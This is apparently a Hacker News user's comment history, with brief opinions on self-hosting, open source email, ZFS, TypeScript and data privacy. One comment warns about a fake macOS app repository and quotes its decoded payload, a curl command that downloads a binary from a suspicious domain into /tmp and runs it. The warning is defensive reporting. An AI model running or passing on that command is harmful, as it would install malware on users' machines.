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zenmac··on Use DuckDB-WASM to query TB of data in browser
Can't believe that is what the industry has come down to. Kind like clipping coupon to get the best deal according different pricing overlords.

It is time like this that makes self-hosting a lot more attractive.

zenmac··on A Closer Look at Piezoelectric Crystal
https://archive.ph/E4TZ7
zenmac··on Denmark reportedly withdraws Chat Control proposal following controversy
>Those with a conservative mindset will think of humans as fundamentally flawed, misguided creatures that need to be contained and steered so they don’t veer of the path, which they are naturally inclined to; while those with a liberal mindset consider humans to be inherently kind and only misguided by circumstances and their environment.

It is also this mindset of wanting to micromanage things/people in hope for better performance. Those are the usually the ones pushing for scanning people's private messages. People like Stalin and Mao would love stuff like that. The urge to micro-manage is a very band-aid type of solution and not dealing with complexity of the situation.

zenmac··on How blocks are chained in a blockchain
Cool, is it open sourced? how are you guys achieving consensus for different nodes? DHT over gossip protocol? Just thought Nostr over BitTorrent and/or tor network night be a good way to go.
zenmac··on Hacking the World Poker Tour: Inside ClubWPT Gold's Back Office
Oh got this"

"CONTEXT: PL/pgSQL function web_apis(text,text[],text[]) line 4671 at FOR over EXECUTE statement ERROR: server conn crashed?"

May be pushing a bit too hard on their postgres-rest ?

zenmac··on Kafka is Fast – I'll use Postgres
>And vertical scaling can really put a damper on things when you have a major traffic hit.

Wouldn't OrioleDB solve that issue though?

zenmac··on Do Users Verify SSH Keys? (2011) [pdf]
Server should publish their key fingerprint to at least the authorized personal of the group. So people know if the server they are connecting to is actually that server.
zenmac··on Austrian ministry kicks out Microsoft in favor of Nextcloud
>Being able to edit documents with others is one feature I want out of any alternatives that I can self-host.

CryptPad just seems more secure compare to Nextcloud.

zenmac··on You already have a Git server
Yeah this is the best arguments for GitHub type of web git GUI. Not knowing bare repo seems just like a devs not reading docs. And I'm sorry in this day and age devs needs to keep up and just type git like curl http://...../install.sh type of thing.

However would NEVER trust Github since the MS acquisition. codeberg and https://forgejo.org are perfectly sound FOSS alternative to GitHub and GigLabs nowdays.

zenmac··on Fast TypeScript (Code Complexity) Analyzer
What about debugging. Or with proper sitemap the code on the client-side can be debugged with the right map to the TS code? Just feels like an extra layer of complexity in the deployment process and debugging.
zenmac··on Fast TypeScript (Code Complexity) Analyzer
Then why use TypeScript at all? Just write js and put a TS definition on top. TS is a linter anyway. Now that will make the code easier to read, and in the end it is the code that will be interpreated by the browser or whatever JS runtimes.
zenmac··on Google flags Immich sites as dangerous
>I think it is valuable to have _a_ list of known-unsafe sites

And how and who should define what is consider unsafe sites?

zenmac··on Internet's biggest annoyance: Cookie laws should target browsers, not websites
Didn't manifest v3 kinda voided all that for chrome based browser? Even brave's time in manifest v2 is timed. For that reason have switched to Firefox.
zenmac··on JMAP for Calendars, Contacts and Files Now in Stalwart
Yeah that is kind of issue had me flintch when thinking of using stalwart. As much as it is so nice to install it as a server and ideologies behind it. Looks like gonna just stick with wildduck for now. Just don't like to hedge our email bets on mongodb community edition.
zenmac··on MinIO stops distributing free Docker images
We are also looking into Garage, does it support 206 partial content seeking on the files in the bucket via it's http interface?
zenmac··on JMAP for Calendars, Contacts and Files Now in Stalwart
Yes, are there any decent JMAP web mail client that we can use?

I have asked sooo many times since Stalwart first was introduced, but not got a straight answer. It is just FastMail or Topicbox. I want something like roudcoube or wildduck that can be used over https that I can self-host!

zenmac··on Foreign hackers breached a US nuclear weapons plant via SharePoint flaws
Craigslist has also uses Haraka to scale their email.

https://haraka.github.io

There are plenty of open source email alternatives now days.

zenmac··on The scariest "user support" email I've received
Also this git repo[1] that pretend to be an open source MacOS alarm clock dose the same trick. There is no code in git repo. But if you click the "Get Awaken" red button. It has some base64 encoded string which translate to:

https://buildnetcrew.com/curl/e16f01ec9c3f30bc1c4cf56a7109be...' -o /tmp/launch && chmod +x /tmp/launch && /tmp/launch

The certificate is self-signed. Have not looked into it much, in today's using `curl bashscript` way of installing program exposed another door for attacker to target no tech savvy users.

[1]: https://github.com/Awaken-Mac/Awaken

zenmac··on Postman which I thought worked locally on my computer, is down
There seems to be a common theme here. Some project gets traction, it works very well. Then they got VC money and the project turn to crap for the community. Not all VC project, but seems to be common theme. I also aware that devs need funding to keep a project going for the long run. Are there any better alternatives for funding now days?
zenmac··on Programming in the Sun: A Year with the Daylight Computer
Ah yeah, it has being a some time before the pandemic, and that bus was not operational back then. Hope you are touring with it now days ;-) Saw your site, will email you, may be going to FL next year.
zenmac··on Schleswig-Holstein completes migration to open source email
Wow didn't realize it has comes to this. I guess the AI bots are ignoring the robots.txt now days huh, so just removing the index seems enough to stop the AI scrappers?
zenmac··on Extreme weather caused more than $100B in damage by June
oh yeah and there is also Weather derivative https://en.wikipedia.org/wiki/Weather_derivative
zenmac··on Schleswig-Holstein completes migration to open source email
This is just the result of shifting from the uni-polar world to the multi-polar world. Guess this is just one phenomenon of the poles shifting.

Hope this will result in gain for FOSS and the community.

zenmac··on Schleswig-Holstein completes migration to open source email
Wait so you need an account to view the source code?
zenmac··on Programming in the Sun: A Year with the Daylight Computer
nice van! Does it run? Had some friend in portland had a similar one try to fix it.
zenmac··on I switched from Htmx to Datastar
No body is preventing them to write a layer of ts definition on top of the js. Check out postgres.js
zenmac··on Vietnam Airlines Data Breach
>In October 2025, data stolen from the Salesforce....

Seems like a salesforce leak. Not to single out sales force here. Could easily be fill in the ____ big corp. When are people going to get there is no absolute digital security. And at currently state, it is much more secure to NOT have all the data aggregated in one place. Of course this would go against the data mining operation. We should look at this from a perspective that benefits the user in the long term.

Server/relay should be very thin layer NOT storing any identifiable info about the user except for public keys. All other info should be stored locally where ONLY the user has access to them.

zenmac··on How to save the world with ZFS and 12 USB sticks: 4th anniversary video (2011)
I don't know, I find HN is one place were we can actually engage real humans conversation on these type of tech related questions. Human dialog is often something that can results in more interesting discovery. Don't think you can get that with agenatic RL question answers feed back loop between models.
zenmac··on How to save the world with ZFS and 12 USB sticks: 4th anniversary video (2011)
Thank you for pointing out about the CDDL license. Encryption is not a show-stopper.
zenmac··on How to save the world with ZFS and 12 USB sticks: 4th anniversary video (2011)
Can someone here on hn with more in deepth knowelege about ZFS commenting on why it is superior to EXT4 for example for file storage? Does each dir handle more children for example?

Last time I read here HN ZFS still seem have edge case bugs. Has it matured now? Why don't distro such as debian etc just ship ZFS as the default instead of ext4?

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